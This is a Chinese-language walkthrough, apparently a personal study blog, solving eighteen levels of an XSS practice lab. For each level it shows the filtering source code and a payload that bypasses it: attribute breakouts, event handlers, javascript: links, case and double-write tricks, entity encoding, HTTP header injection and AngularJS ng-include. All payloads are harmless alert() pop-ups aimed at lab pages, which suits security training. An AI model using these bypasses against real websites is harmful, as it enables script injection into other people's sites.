
一天5题
2020-1-14
Level 1
直接输入<script>alert('杨子桢')</script>注入

注入成功

Level 2

有一个输入框,先输入<script>alert('杨子桢')</script>,注入失败

查看网页源码
1 | <input name=keyword value="<script>alert('杨子桢')</script>"> |
根据源码可知,该题的注入点在input标签里,所以先闭合<input name=keyword value="再构造<script>alert('杨子桢')</script>即可
最终payload为
1 | "><script>alert('杨子桢')</script> |

Level 3

查看网页源码
1 | <input name=keyword value=''> |
此题与Level 2的注入点唯一的不同在于此题使用'闭合,将Level 2的payload中"改为'即可
输入'><script>alert('杨子桢')</script>发现并没有注入成功
查看网页源代码
1 | <h2 align=center>没有找到和'><script>alert('杨子桢')</script>相关的结果.</h2><center> |
发现输入的特殊字符被转义了,改用onclick、onmouseover等事件进行弹窗试试
输入' onclick=alert('杨子桢'),注入依旧失败
查看网页源代码
1 | <input name=keyword value='' onclick=alert('杨子桢')'> |
需要使用//将后面的>注释掉
所以最终的payload为
1 | ' onclick=alert('杨子桢')// |

Level 4

查看网页源代码
1 | <input name=keyword value="try harder!"> |
此题Level 3的注入点唯一的不同在于此题使用"闭合,将Level 3的payload中'改为"即可
最终payload为
1 | " onclick=alert('杨子桢')// |

Level 5

查看网页源代码
1 | <input name=keyword value="find a way out!"> |
输入"><script>alert('杨子桢')</script>注入失败
查看网页源代码
1 | <h2 align=center>没有找到和"><script>alert('杨子桢')</script>相关的结果.</h2><center> |
该关卡首先将特殊字符进行转义,之后又将script替换成scr_ipt
再试试" onclick=alert('杨子桢')//
1 | <h2 align=center>没有找到和" onclick=alert('杨子桢')//相关的结果.</h2><center> |
将on替换成o_n
查看后端源代码进行注入分析
1 | $str = strtolower($_GET["keyword"]); |
该关卡可以构造不含这些的标签或属性
这里先闭合input再利用<a>标签进行弹窗
最终payload为
1 | "><a href="javascript:alert('杨子桢')">no-timing</a>// |

2020-1-15
Level 6

查看后端源代码
1 | $str = $_GET["keyword"]; |
发现该关卡相较Level 5的基础上,多过滤了scr、href、data
尝试大小写绕过即成功
最终payload为
1 | "><a HREF="javascript:alert('杨子桢')">no-timing</a>// |

Leve 7

查看后端源代码
1 | $str =strtolower( $_GET["keyword"]); |
观察此关卡XSS的防御,先将输入转换成小写,再将输入的标签转换成空字符
此时可以使用双写绕过即可成功
最终payload为
1 | "><a hrhrefef="javascrscriptipt:alert('杨子桢')">no-timing</a>// |

Level 8

该关卡多了一个添加友情链接,查看后端源代码分析一下
1 | $str = strtolower($_GET["keyword"]); |
该关卡将大小写绕过失效,标签转换,但尖括号<> ,单引号 ‘ ,% ,# ,& 符号没有被过滤,输出点在<a>标签内,<href>属性中,属性中双引号被转换成HTML实体,无法截断属性,所以直接用实体编码绕过。 [HTML字符实体转换][https://www.qqxiuzi.cn/bianma/zifushiti.php]
最终payload为
1 | javascript:alert('杨子桢') |

Level 9

和Level 8一样,也有一个添加友情链接
查看后端源代码
1 | $str = strtolower($_GET["keyword"]); |
经过分析,发现该关卡与上个关卡不同在于多了一个检测url的点,如果发现没有带http://内容则会显示不合法,所以根据Level 8的payload利用注释构造一个带http://的payload即可
最终payload为
1 | javascript:alert('杨子桢')//http://www.baidu.com |

Level 10

题目没有给输入框,查看后端源代码分析
1 | $str = $_GET["keyword"]; |
发现该题有三个参数,t_link、t_history和t_sort,同时,尖括号<>都被转换成空,还有一个隐藏的<form id=search>, 先构造?t_link=no-timing&t_history=no-timing&t_sort=no-timing
查看此时的网页源代码
1 | <form id=search> |
发现,t_sort可以作为注入点,此时由于尖括号被过滤,则使用事件进行弹窗。
最终payload为
1 | ?t_sort=" type="text" onclick = alert('杨子桢')// |
2020-1-16
Level 11

没有输入框,先看看网页源代码
1 | <form id=search> |
发现与上一题相比,多了一个参数t_ref,没有思路
再查看后端源代码
1 | $str = $_GET["keyword"]; |
发现相比上一关,多了一个$str11=$_SERVER['HTTP_REFERER'];,推测是http头部注入
用burp抓包,修改相应的字段,构造http头部Referer的payload
1 | " onclick=alert(1) type="text" // |

点击Forword,注入成功

Level 12

与上一关一样,没有输入框,查看网页源代码
1 | <form id=search> |
这里多了一个t_ua,大胆猜测此关卡是利用User-Agent注入
抓包并且构造http头部User-Agent的payload
1 | " onclick=alert(1) type="text" // |

在线网站注入的时候他居然封了我的IP。。。。没办法只能搭本地的xss挑战了

重新抓包修改User-Agent

Level 13

查看网页源代码
1 | <form id=search> |
此关卡是 cookie类型的注入
抓包构造payload
1 | user=" onclick=alert(1) type="text" // |


Level 14

查看页面源代码
1 | <iframe name="leftframe" marginwidth=10 marginheight=10 src="https://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe> |
此题通过iframe标签引入了一个http://exofvoewer.org
百度了一下,这里用的是乌云爆出的exif viewer的漏洞,漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS,借鉴一下dalao的题解




Level 15

什么都没有,先看看页面源码
1 | <html ng-app> |
毫无头绪,参考网上的题解,这里使用了AngularJS框架的 [ng-include 指令][https://www.runoob.com/angularjs/ng-ng-include.html] ,利用ng-include 指令用于包含外部的 HTML 文件
默认情况下,包含的文件需要包含在同一个域名下,所以网上的题解大多数是利用第一关的代码,payload为
1 | ?src='level1.php?name=test<img src=1 onerror=alert(1)>' |
但其实不用这么麻烦,因为引用的名字会直接出现在源码里

所以可以构造payload
1 | ?src="><img src="yzz" onerror=alert(1)> |

Level 16

查看网页源代码,什么都没有发现,再看看后端源代码
1 | $str = strtolower($_GET["keyword"]); |
发现该关卡无法进行大小写绕过,特殊字符也被转义成 空格也被过滤了,考虑使用%0a代替空格进行绕过
最终payload为
1 | ?keyword=<img%0asrc=x%0aonerror=alert(1)> |

Level 17

这一关的flash我的浏览器好像没有显示,可能是不支持了吧,但这里跟flash没关系
观察url,发现有2个参数arg01和arg02
1 | https://xss.tesla-space.com/level17.php?arg01=a&arg02=b |
查看网页源代码
1 | <embed src=xsf01.swf?a=b width=100% heigth=100%><h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2> |
发现<embed>标签的src会输出这两个参数,应该是注入点
再看看后端源代码
1 | echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>"; |
发现输入的参数经过htmlspecialchars函数过滤,考虑使用事件绕过
最终的payload为
1 | ?arg01=123&arg02= onclick=alert(1) |
Level 18

这一关跟上一关一样,flash显示不出来,但是payload也一样
1 | ?arg01=123&arg02= onclick=alert(1) |